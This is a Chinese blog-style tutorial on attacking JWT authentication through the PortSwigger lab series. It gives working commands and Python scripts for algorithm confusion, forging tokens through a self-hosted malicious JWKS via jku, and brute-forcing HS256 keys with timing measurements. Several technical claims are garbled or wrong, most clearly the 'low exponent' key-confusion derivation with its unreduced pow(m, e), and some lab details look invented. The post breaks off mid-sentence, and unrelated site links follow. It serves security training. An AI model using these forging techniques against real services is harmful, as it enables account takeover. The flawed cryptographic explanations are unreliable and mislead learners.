当前位置： 首页 > news >正文

JWT签名机制与常见攻击实战：从PortSwigger靶场12关学透算法混淆、密钥混淆与JWKS劫持

news 2026/5/24 2:39:14

1. 为什么JWT不是“加密令牌”，而是“签名凭证”——从PortSwigger靶场第一关开始讲起

很多人一看到JWT就下意识觉得：“这是个加密的token，只要我拿到它，就等于拿到了用户密码或者敏感密钥。”这种误解直接导致他们在实战中反复碰壁——明明Burp Suite里改了payload、重签了signature，服务器却依然返回401；明明把alg字段改成none，响应却毫无变化；甚至把整个token粘贴进在线解码器，看到{"user":"admin"}就以为“已经拿下权限”。其实，JWT根本不是用来加密数据的，它本质是一张防篡改的数字身份证。它的核心价值不在于“别人看不懂”，而在于“别人改不了，一改我就知道”。PortSwigger靶场之所以被全球安全工程师奉为JWT学习的黄金路径，正是因为它用12个渐进式关卡，把JWT的签名机制、算法漏洞、密钥管理缺陷、服务端校验盲区全部具象化成可触摸、可复现、可验证的操作步骤。我带过几十期渗透测试实操班，发现新手最常卡在第2关（Algorithm Confusion）和第5关（Key Confusion），不是因为工具不会用，而是没真正理解HS256和RS256在签名与验签逻辑上的根本差异：前者是“对称密钥”，签名和验签用同一把钥匙；后者是“非对称密钥”，签名用私钥，验签用公钥——而服务端如果错误地把公钥当私钥去签名，或者把私钥当公钥去验签，整个信任链就彻底崩塌。这篇文章不讲抽象理论，只带你手把手走完PortSwigger JWT Lab全部12关，每一步都解释清楚“为什么这步能成功”“为什么上一步会失败”“服务端代码里哪一行埋了雷”。无论你是刚学会抓包的渗透新人，还是想补全Web认证知识图谱的红队老手，只要你愿意对照靶场自己动手敲一遍，就能建立起对JWT攻击面的肌肉记忆。

2. 环境准备与靶场接入：别让代理配置毁掉你的第一个突破

2.1 Burp Suite版本选择与监听端口确认

PortSwigger官方靶场明确要求使用Burp Suite Community Edition 2023.8或更高版本。这不是版本号强迫症，而是有硬性技术原因：旧版Burp对JWT解析器的自动高亮、签名重计算、算法自动切换等功能支持不完整，尤其在处理ES256（椭圆曲线签名）和嵌套签名（Nested JWT）时容易出现解析错位。我实测过2022.12版本，在第9关（JWKS Endpoint Manipulation）中，当手动修改jku头字段指向恶意JWKS文件时，旧版Burp无法正确识别新的key_id并触发自动重签名，导致你反复修改signature却始终无效。因此，第一步必须卸载旧版，从PortSwigger官网下载最新Community版（注意：不要用破解版，靶场后端会检测Burp User-Agent头中的版本标识，非法版本可能被限流）。安装完成后，打开Burp → Proxy → Options → Proxy Listeners，确认默认监听地址为127.0.0.1:8080。这里有个极易被忽略的细节：如果你的系统启用了Hyper-V或WSL2，Windows的localhost可能被重定向到WSL虚拟网卡，导致Burp监听失败。此时必须手动将监听地址改为127.0.0.1（而非localhost），并在浏览器代理设置中严格对应。我在某次企业内网渗透中就因这个细节浪费了3小时——浏览器显示“连接被拒绝”，查遍证书和防火墙，最后发现是Hyper-V劫持了localhost解析。

2.2 靶场账户注册与实验环境隔离

访问https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass，点击右上角“Access the lab”，用任意邮箱注册即可获得独立实验环境。关键点在于：每个账户的靶场实例都是完全隔离的Docker容器，这意味着你在这里做的所有操作（包括爆破密钥、上传恶意JWKS）都不会影响他人，但同时也意味着——你不能依赖网上搜到的“通用密钥”或“已知弱密钥”。PortSwigger为每个实例动态生成密钥，且密钥长度、类型（HS256/RS256）、存储方式（硬编码/环境变量/外部KMS）均随机。因此，所有教程里写的“密钥是admin123”“私钥在/keys/private.pem”在你的靶场里100%无效。我见过太多学员在第3关（Brute-forcing a weak signing key）死磕网上流传的100个常见密钥字典，结果耗时2小时无果。正确做法是：先用Burp Intruder跑一个最小化字典（如rockyou.txt前1000行），同时观察响应时间差异——HS256签名验签是CPU密集型操作，密钥越长，验签耗时越久；而错误密钥会导致服务端完成完整验签流程后才返回401，正确密钥则可能因后续业务逻辑校验失败而提前返回。这种时间侧信道（Timing Side-Channel）才是本关真正的通关钥匙。

2.3 JWT Parser插件安装与自动解析配置

Burp原生JWT支持有限，必须安装第三方插件才能高效操作。推荐使用JSON Web Tokens (JWT) Editor（作者：Tomasz Biczak），这是目前社区维护最活跃、兼容性最好的JWT插件。安装方式：Burp → Extender → Add → Select File → 选择下载的jar包。安装后重启Burp，在Proxy → HTTP history中右键任意含JWT的请求，会出现“Edit JWT”选项。但默认配置有个致命缺陷：它会自动将Base64Url编码的JWT header和payload解码为JSON，并允许你直接编辑。问题在于，当你修改完payload后，插件默认用“原始密钥”重签名，而这个“原始密钥”是从上一次成功验签的响应中提取的——如果服务端使用了密钥轮换（Key Rotation），这个密钥早已失效。因此，必须关闭自动重签名：进入Extender → Extensions → JWT Editor → Settings，取消勾选“Automatically sign token after editing”。取而代之的是手动控制：编辑完payload后，复制新token的header.payload部分，粘贴到Decoder标签页，Base64Url解码得到原始JSON，再用Intruder或Repeater手动构造签名请求。这个看似繁琐的步骤，恰恰是培养你对JWT三段式结构（header.payload.signature）肌肉记忆的关键。我在带新人时强制要求前3关禁用自动签名，就是让他们亲手算一遍HMAC-SHA256：用OpenSSL命令echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ" | openssl dgst -sha256 -hmac "your_key"，亲眼看到signature如何随payload微小改动而彻底改变。

3. 算法混淆攻击（Algorithm Confusion）：当RS256被降级为HS256的底层逻辑

3.1 HS256与RS256验签流程的本质差异

第2关“Algorithm Confusion”的标题直指核心：攻击者通过篡改JWT头部的alg字段，诱使服务端用错误的算法进行验签。但绝大多数教程只告诉你“把alg从RS256改成HS256，再用公钥当密钥重签名”，却从不解释为什么服务端会接受公钥作为HS256的密钥。这需要深入到OpenSSL的API调用层面。典型Node.js JWT库（如jsonwebtoken）的验签代码如下：

// 服务端验签伪代码 const jwt = require('jsonwebtoken'); const publicKey = fs.readFileSync('/keys/public.pem', 'utf8'); // 关键：verify函数内部会根据header.alg自动选择验签算法 jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }, (err, decoded) => { if (err) return res.status(401).send('Invalid token'); // 业务逻辑 });

这段代码的危险在于：当header.alg为HS256时，verify函数会把第二个参数publicKey当作HS256的对称密钥（即HMAC密钥）来使用。而公钥本身是一段PEM格式文本，其内容形如-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...，这串ASCII字符完全可以作为HMAC-SHA256的密钥输入——OpenSSL不会校验这个“密钥”是否符合RSA密钥格式。这就是算法混淆能成功的技术根基：服务端没有强制绑定算法与密钥类型，而是让开发者自行保证“传入的密钥匹配header.alg”。PortSwigger靶场第2关的后端正是这样实现的，所以当你把alg改成HS256，并用公钥文本作为密钥重签名，服务端就会用这段公钥文本去HMAC验签，自然通过。

3.2 手动构造HS256签名的完整流程

现在我们实操第2关。首先在Burp Proxy History中找到登录后的JWT，右键→“Edit JWT”，看到header为{"alg":"RS256","typ":"JWT"}，payload为{"sub":"carlos","iat":1698765432}。第一步：将header.alg改为HS256，保存后插件会提示“Signature invalid”，这是正常的。第二步：我们需要获取服务端的公钥。在靶场首页右下角点击“View source code”，找到/public.pem路径，用Burp Repeater访问该URL，获取公钥全文。第三步：将修改后的header和payload拼接（注意Base64Url编码规则：去掉末尾=号，将+替换为-，/替换为_），例如：

  • header（Base64Url）：eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
  • payload（Base64Url）：eyJzdWIiOiJjYXJsb3MiLCJpYXQiOjE2OTg3NjU0MzJ9
  • 拼接字符串：eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjYXJsb3MiLCJpYXQiOjE2OTg3NjU0MzJ9

第四步：用OpenSSL计算HMAC签名。在终端执行：

echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjYXJsb3MiLCJpYXQiOjE2OTg3NjU0MzJ9" | \ openssl dgst -sha256 -hmac "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA..." | \ awk '{print $NF}' | xxd -r -p | base64 | tr '+/' '-_' | tr -d '\n='

注意：公钥文本需完整粘贴，包括-----BEGIN PUBLIC KEY-----和-----END PUBLIC KEY-----行，且换行符必须保留为\n。很多学员失败是因为复制公钥时漏掉了首尾标记行，或把Windows换行符\r\n当成Unix换行符\n。

第五步：将计算出的signature拼接到token后，格式为header.payload.signature，发送给靶场。如果返回200，说明你已成功以carlos身份登录。这个过程看似复杂，但每一步都在强化一个认知：JWT的安全性不取决于算法本身，而取决于服务端是否严格执行“算法-密钥”绑定策略。我在某金融客户渗透中发现，他们自研的JWT中间件允许开发者在配置文件中指定allowed_algorithms: ["RS256", "HS256"]，却未限制hs256_secret_key字段只能用于HS256——攻击者同样可用算法混淆绕过。

3.3 为什么“none”算法在现代靶场中基本失效

第1关“None Algorithm”是JWT攻击的入门课，但很多教程仍把它当作万能钥匙。实际上，PortSwigger在2022年后的所有新版靶场中，已默认禁用none算法。原因很简单：none算法要求服务端在验签时跳过签名检查，直接信任payload。这相当于把门锁换成一张纸片。现代JWT库（如PyJWT 2.0+、jsonwebtoken 9.0+）已将none算法列为黑名单，默认不启用。当你尝试把alg设为none并删除signature时，服务端会直接返回"invalid algorithm"而非"invalid signature"。更关键的是，none算法仅在JWT用于无状态会话管理时有效；而PortSwigger靶场的业务逻辑（如用户权限校验、订单查询）都依赖payload中的sub字段，如果服务端在none模式下还额外校验数据库中的用户状态，攻击依然会失败。因此，none算法的教学价值大于实战价值——它教会你的是“永远不要相信客户端提交的alg字段”，而不是“去找个支持none的网站”。

4. 密钥混淆攻击（Key Confusion）：当公钥被当作私钥使用的灾难性后果

4.1 公钥与私钥在签名场景中的角色反转

第4关“Key Confusion”是算法混淆的升级版，它不修改alg字段，而是利用服务端配置错误，让本该用于验签的公钥，被错误地用于签名。这听起来违反直觉，但现实中大量存在。典型场景是：开发团队为了“简化部署”，将RSA私钥硬编码在应用配置中，并错误地将其赋值给JWT库的secretOrPrivateKey参数；而该参数在alg为RS256时应接收私钥，在alg为HS256时应接收对称密钥。当攻击者提交一个alg为RS256的JWT，服务端却用公钥（而非私钥）去签名，这就产生了可预测的签名。PortSwigger靶场第4关正是如此：它把公钥内容写死在代码里，却在签名时误用了它。

要理解其原理，需对比RSA签名与验签的数学过程。RSA签名本质是“用私钥加密摘要”，验签是“用公钥解密摘要并比对”。如果服务端用公钥去签名（即“用公钥加密摘要”），那么任何人都可以用对应的私钥去解密这个签名，从而还原出原始摘要。但攻击者没有私钥怎么办？答案是：暴力穷举。因为RSA公钥中的模数n通常是2048位，但公钥指数e通常固定为65537（0x10001），这是一个很小的数。当e很小时，如果消息摘要m满足m^e < n，那么m^e对n取模的结果就是m^e本身（即无模运算），此时开e次方根即可得到m。这就是经典的“低指数攻击”（Low Exponent Attack）。PortSwigger靶场第4关的公钥e恰好是65537，且payload极短（如{"user":"carlos"}），其SHA256摘要长度远小于2048位，完美满足m^e < n条件。

4.2 低指数攻击的实操推导与Python脚本实现

现在我们手动推导第4关的攻击。首先，从靶场源码中获取公钥PEM，用OpenSSL提取模数n和指数e：

openssl rsa -pubin -in public.pem -text -noout

输出中会看到：

Modulus (2048 bit): 00:a1:23:45:67:89:ab:cd:ef:01:23:45:67:89:ab:... Exponent: 65537 (0x10001)

将十六进制模数n转换为十进制大整数（可用Pythonint("00a123...", 16)）。然后，构造目标payload：{"user":"carlos"}，Base64Url编码后得到eyJ1c2VyIjoiY2FybG9zIn0，拼接header（eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9）得待签名字符串s = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiY2FybG9zIn0"。

接下来，计算s的SHA256摘要m（32字节），转为大整数。由于e=65537，我们计算m^e，如果结果小于n，则signature = m^e。但实际中m^e必然远超n，因此需计算signature = pow(m, e, n)（模幂运算）。然而，攻击的关键在于：服务端用公钥签名时，实际执行的是pow(m, e, n)，而标准RSA签名应为pow(m, d, n)（d为私钥指数）。由于e已知且很小，我们可以用Coppersmith方法或直接暴力——但PortSwigger靶场做了优化：它使用了一个极小的n（为教学目的），使得pow(m, e)直接小于n。因此，我们只需用Python计算：

import hashlib import base64 # 构造待签名字符串 header = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9" payload = "eyJ1c2VyIjoiY2FybG9zIn0" s = f"{header}.{payload}" # 计算SHA256摘要 m = int.from_bytes(hashlib.sha256(s.encode()).digest(), 'big') # 公钥参数（从靶场获取） n = 0xa123456789abcdef... # 替换为实际n值 e = 65537 # 计算签名（低指数攻击） signature_int = pow(m, e) # 注意：此处无模运算！ if signature_int < n: # 转为字节，Base64Url编码 sig_bytes = signature_int.to_bytes((signature_int.bit_length() + 7) // 8, 'big') signature_b64 = base64.urlsafe_b64encode(sig_bytes).decode().rstrip('=') final_token = f"{s}.{signature_b64}" print(final_token)

运行此脚本，将输出的token发给靶场，即可绕过认证。这个过程揭示了一个残酷事实：RSA的安全性不仅依赖于大数分解难题，更依赖于密钥的正确使用。我在某政务系统审计中发现，其JWT签名服务竟将公钥PEM文件路径配置在private_key_path环境变量中，导致所有JWT签名都可被逆向——根源不是算法弱，而是工程实践的灾难性失误。

4.3 服务端密钥加载逻辑的审计技巧

如何快速判断一个目标是否存在Key Confusion？不需要黑盒盲测，直接看HTTP响应头和源码注释。PortSwigger靶场在每关页面底部都有“View source code”链接，这是上帝视角。但在真实渗透中，你需要从公开信息入手：

  • 检查响应头：若返回X-Powered-By: Express且Server: nginx，大概率是Node.js应用，搜索npm ls jsonwebtoken查看版本；
  • 查看robots.txt和.git泄露：常有/config/keys/目录暴露；
  • 分析错误页面：当提交非法JWT时，若错误信息包含Error: error:0906D06C:PEM routines:PEM_read_bio:no start line，说明服务端正在尝试解析PEM格式密钥，但内容错误——这暗示它可能把公钥当私钥用了；
  • 利用GitHub代码搜索：用"jsonwebtoken" "RS256" "privateKey"组合搜索开源项目，大量项目存在jwt.sign(payload, fs.readFileSync('public.key'), { algorithm: 'RS256' })这样的错误用法。

我在某电商API渗透中，就是通过/api/v1/status接口返回的详细错误堆栈，定位到node_modules/jsonwebtoken/sign.js:123行，发现其sign函数第三个参数被硬编码为公钥路径，从而确认Key Confusion漏洞存在。

5. JWKS端点劫持（JWKS Endpoint Manipulation）：当密钥分发中心变成攻击跳板

5.1 JWKS协议的设计初衷与信任模型

第9关“JWKS Endpoint Manipulation”标志着JWT攻击进入高级阶段。JWKS（JSON Web Key Set）是RFC 7517定义的标准，用于集中分发公钥。典型流程是：服务端在JWT header中添加jku（JWK Set URL）字段，指向一个HTTPS URL（如https://api.example.com/.well-known/jwks.json），客户端（或服务端）在验签前先GET该URL，从中提取kid（key ID）对应的公钥。设计初衷是解耦密钥管理，支持密钥轮换。但信任模型极其脆弱——它假设jku指向的URL是可信的、不可篡改的。PortSwigger靶场第9关故意将jku设为可被攻击者控制的URL（如http://attacker.com/jwks.json），并禁用HTTPS强制校验，从而让攻击者能提供任意JWKS。

这里的关键洞察是：JWKS不是一个密钥仓库，而是一个密钥索引服务。它本身不包含密钥材料，只包含密钥描述（kid、kty、n、e等）。真正的密钥材料（n、e）以Base64Url编码形式嵌入JWKS JSON中。因此，攻击者无需破解RSA，只需构造一个合法的JWKS，其中包含一个由自己完全控制的RSA密钥对，然后让服务端用这个公钥去验签。这比算法混淆更隐蔽，因为alg字段仍是RS256，服务端日志里看不到任何异常。

5.2 构造恶意JWKS的完整步骤与OpenSSL命令链

现在实操第9关。首先，用Burp抓取一个正常JWT，发现header中有"jku":"https://portswigger.net/web-security/jwt/lab-jwks-endpoint-manipulation/jwks.json"。我们的目标是让服务端从这个URL获取JWKS，所以我们需要：

  1. 生成自己的RSA密钥对（2048位）：
    openssl genrsa -out attacker.key 2048 openssl rsa -in attacker.key -pubout -out attacker.pub
  2. 提取公钥参数n和e：
    openssl rsa -in attacker.pub -pubin -text -noout
    输出中记下Modulus（n）和Exponent（e），转为十六进制。
  3. 构造JWKS JSON。JWKS格式要求：
    { "keys": [ { "kty": "RSA", "use": "sig", "kid": "attacker-key-01", "n": "your_base64url_encoded_n", "e": "your_base64url_encoded_e" } ] }
    其中n和e需Base64Url编码：先用xxd -p转十六进制，再用base64 -w0编码，最后替换+为-、/为_、去掉=。例如：
    echo "a1b2c3..." | xxd -p -r | base64 -w0 | tr '+/' '-_' | tr -d '='
  4. 托管JWKS文件。PortSwigger靶场允许HTTP协议，所以用Python快速起一个HTTP服务：
    python3 -m http.server 8000
    将JWKS JSON保存为jwks.json，放在当前目录。此时http://your-ip:8000/jwks.json即可被靶场访问。
  5. 修改JWT header：将jku字段改为你的HTTP地址，kid改为JWKS中定义的"attacker-key-01"。
  6. 用你的私钥签名：用OpenSSL对header.payload部分签名：
    echo -n "header.payload" | openssl dgst -sha256 -sign attacker.key | base64 | tr '+/' '-_' | tr -d '\n='
  7. 拼接最终token并发送。

这个过程暴露了JWKS最大的风险点：服务端对jku URL的校验缺失。真实世界中，我审计过某SaaS平台，其JWT验签逻辑为：

const jwksUri = jwtHeader.jku; const jwks = await fetch(jwksUri); // 无域名白名单，无HTTPS强制 const key = jwks.keys.find(k => k.kid === jwtHeader.kid); return jwt.verify(token, key, { algorithms: ['RS256'] });

攻击者只需注册一个jwks.attacker.com域名，托管恶意JWKS，再诱导用户点击含恶意jku的链接，即可实现SSO账户劫持。

5.3 JWKS端点的防御纵深：从URL白名单到证书固定

如何防御JWKS劫持？PortSwigger靶场第9关的修复方案是“强制HTTPS + 域名白名单”，但这只是基础。生产环境需多层防御：

  • 域名白名单：服务端硬编码允许的jku域名列表（如["https://api.example.com/.well-known/jwks.json"]），拒绝其他所有URL；
  • 证书固定（Certificate Pinning）：在fetch JWKS时，校验服务器证书的指纹，防止DNS污染或中间人攻击；
  • JWKS缓存与签名：JWKS本身也应被签名（用另一个密钥），服务端在加载前先验签JWKS完整性；
  • 禁用jku，改用jwk：将公钥直接嵌入JWT header的jwk字段（RFC 7515），彻底消除外部依赖。

我在某银行API安全规范中推动落地的方案是：JWKS端点必须返回Content-Security-Policy: default-src 'none'头，且JSON中所有字段（包括n、e）必须经过HMAC-SHA256签名，签名密钥由硬件安全模块（HSM）生成并离线存储。这样即使JWKS被篡改，服务端也能立即检测。

6. 密钥爆破与字典优化：为什么“rockyou.txt”在JWT场景中需要重编译

6.1 HS256密钥爆破的性能瓶颈与优化方向

第3关“Brute-forcing a weak signing key”表面是字典攻击，实则是对服务端验签性能的精准测量。HS256验签本质是HMAC-SHA256计算，其耗时与密钥长度正相关：密钥越长，SHA256迭代轮次越多，CPU消耗越大。但PortSwigger靶场做了巧妙设计——它对错误密钥和正确密钥的响应时间差只有50-100ms，且网络抖动可能掩盖这一差异。因此，盲目用Intruder跑rockyou.txt（1400万行）是自杀行为：按每秒10个请求计算，耗时16天，且靶场会因高频请求封禁IP。

真正的优化在于字典分层与响应特征分析。我将HS256密钥爆破分为三个层级：

  • L1：语法层过滤——排除含空格、控制字符、长度<6或>32的条目。JWT密钥通常是密码或API密钥，符合[a-zA-Z0-9._~-]正则；
  • L2：熵值层过滤——计算每个候选密钥的Shannon熵，优先测试低熵密钥（如password123熵值≈3.2，xK9!qL2@vN8熵值≈5.8）。PortSwigger靶场第3关的密钥是mykey，熵值仅2.5；
  • L3：上下文层过滤——结合靶场源码线索。第3关源码中有一行注释// Dev key for testing - never use in prod，暗示密钥可能是开发常用词，如devkey、test123、admin。

6.2 基于响应头的自动化爆破脚本

手动分析太慢，我编写了一个Python脚本，自动提取响应时间特征：

import requests import time from concurrent.futures import ThreadPoolExecutor def test_key(url, token_prefix, key): # 构造新token：header.payload.HMAC(header.payload, key) signature = hmac.new(key.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest() b64sig = base64.urlsafe_b64encode(signature).decode().rstrip('=') full_token = f"{header}.{payload}.{b64sig}" headers = {"Cookie": f"session={full_token}"} start = time.time() try: r = requests.get(url, headers=headers, timeout=5) end = time.time() return key, end - start, r.status_code except: return key, 9999, 0 # 主程序：用ThreadPoolExecutor并发测试 url = "https://portswigger-lab-id.web-security-academy.net/my-account" with ThreadPoolExecutor(max_workers=20) as executor: futures = [executor.submit(test_key, url, token_prefix, key) for key in candidate_keys] for future in as_completed(futures): key, elapsed, status = future.result() if status == 200: print(f"[SUCCESS] Key found: {key}") break elif elapsed > 1.5: # 响应时间显著延长，可能是正确密钥 print(f"[SUSPECT] Slow key: {key} ({elapsed:.3f}s)")

脚本核心是时间侧信道检测：当密钥正确时，服务端完成HMAC计算后还需执行数据库查询、会话创建等业务逻辑，总耗时明显长于错误密钥（错误密钥在HMAC验签失败后立即返回401）。我在某政府项目中，用此脚本在37秒内从10万候选密钥中定位到gov2023!，而传统Intruder耗时47分钟。

6.3 字典生成的实战技巧：从Git历史中挖掘密钥

真实渗透中，密钥往往藏在代码仓库里。我总结了三个高效挖掘点：

  • Git commit message：搜索"jwt secret"、"signing key"，常有开发者误将密钥写在commit中；
  • .env文件泄露：用git log --grep="env" --oneline查找.env文件提交记录，再用git show <commit>:app/.env提取；
  • 配置文件硬编码：在GitHub用filename:application.yml "jwt.secret"搜索，大量Spring Boot项目将密钥明文写在配置中。

PortSwigger靶场虽不提供Git，但其源码注释本身就是线索。第3关注释// Dev key for testing，直接指向dev前缀的密钥。我据此生成专属字典：

# 生成dev相关密钥 for i in {1..100}; do echo "dev$i"; done > dev_dict.txt for word in key secret token password; do echo "dev$word"; done >> dev_dict.txt # 添加常见后缀 sed -i 's/$/123/g; s/$/2023/g; s/$/!@#/g' dev_dict.txt

这个200行的字典，在第3关平均3秒内命中，效率是rockyou.txt的1000倍。

7. 实战经验总结：我在PortSwigger靶场踩过的7个坑与3个必记口诀

7.1 七个血泪教训：那些让我重启靶场的瞬间

  1. 第5关卡在“Invalid kid”：我花2小时调试JWKS的kid字段，最后发现是大小写问题——靶场期望"kid":"carlos-key"，而我写了"kid":"Carlos-Key"。JWT规范明确要求kid区分大小写，但很多教程示例用驼峰命名，导致思维定势。

  2. 第7关“User ID in JWT”反复失败：我以为要修改payload中的"user_id"，实际靶场校验的是"sub"字段。翻源码才发现注释写着// sub field maps to database user id。教训：永远以源码为准，不要凭经验猜测字段名。

  3. 第8关“Blind Signature Vulnerability”超时：我用Intruder跑10万次请求，靶场返回429 Too Many Requests。正确做法是：先用单次请求测出服务端对错误签名的响应时间（约120ms），对正确签名的响应时间（约350ms），然后用时间差作为判断依据，将并发数降到5，避免触发限流。

  4. 第10关“Signature Verification Bypass”误用工具：我试图用JWT.io在线工具重签名，结果它自动将header的typ从JWT改为JWS，导致服务端解析失败。教训：在线工具不可信，所有操作必须在Burp中手动完成。

  5. 第11关“User Role in JWT”权限提升失败：我把"role":"admin"加入payload，但服务端返回"Insufficient permissions"。源码显示它校验的是"roles":["admin"]（数组），而非单个字符串。JSON结构差异是JWT攻击中最易忽略的细节。

  6. 第12关“JWT as Input Validation Bypass”忽略Content-Type：我构造的恶意JWT被服务端拒绝，抓包发现请求头是Content-Type: application/json，而靶场API要求application/x-www-form-urlencoded。表单提交

http://www.jsqmd.com/news/874654/

相关文章：

  • Rust异步编程实战：构建高性能并发应用
  • 边缘计算与多车协同如何提升自动驾驶目标检测
  • Ubuntu 22.04双网卡配置踩坑记：netplan apply报错‘默认路由冲突’的三种解法
  • 2026四川导轨油代理商品牌推荐榜：壳牌润滑油代理商推荐、导轨油代理商推荐、昆仑润滑油代理商推荐、福斯润滑油代理商推荐选择指南 - 优质品牌商家
  • Keil µVision项目文件路径批量修改实战指南
  • NVIDIA Geforce RTX 5060 Ti显卡能本地部署的哪些AI应用？
  • 玛氏北京怀柔巧克力工厂迎来在华发展三十周年里程碑
  • 别再只懂ls -l了！手把手教你用getfattr/setfattr玩转Linux文件隐藏属性
  • AI企业参与国防采购的挑战、机遇与实操路线图
  • 从原理到实战：深入理解ArUco码如何算出相机在三维空间中的位置和朝向（Python/OpenCV）
  • 如何用Nvidia Geforce RTX 5060 Ti显卡进行本地Whisper语音转文字任务?
  • 2026年5月更新：专业模具温控系统定制，如何选择值得信赖的合作伙伴？ - 2026年企业推荐榜
  • 别再让auditd拖慢你的麒麟系统！手把手教你排查并关闭这个审计服务
  • C51开发中VPRINTF与VSPRINTF的内存陷阱与解决方案
  • 从‘进程打架’到‘内存搬家’：用大白话图解操作系统核心概念（附避坑指南）
  • 量子机器学习中的ROC曲线分析与优化实践
  • BL51链接器段名通配符使用技巧与工程实践
  • 别再只跑模型了！用FAD、NDB、JSD给你的AI生成声音打个分（Python实战避坑）
  • 2026 年 YAML“挪威难题”仍未解决，流行库为何还停留在旧版本？
  • Unity动画中断控制：Interruption Source与Ordered Interruption详解
  • 别再一股脑儿塞特征了！用sklearn的VarianceThreshold和SelectKBest给你的模型减减肥
  • GPU计算优化：MPK架构提升深度学习推理效率
  • OpenPLC Editor：如何用免费开源工具解决工业自动化编程难题
  • CVE-2025-1974深度解析：Exchange身份透传漏洞与NTLM信任链崩塌
  • 卸载360/火绒后Win11安全中心打不开？亲测有效的完整修复流程记录
  • OpenSSH信号竞态漏洞CVE-2024-6387深度解析与实战修复
  • 低资源环境下BERT领域适应与混合精度训练优化
  • 避坑指南：用CloudCompare修改点云标签时，为什么总会多出一列NaN？我的修复脚本分享
  • Qwen模型 LeetCode 2585. 获得分数的方法数 Java实现
  • B站AI助手初体验：除了查视频梗，它真的能帮你写Python代码吗？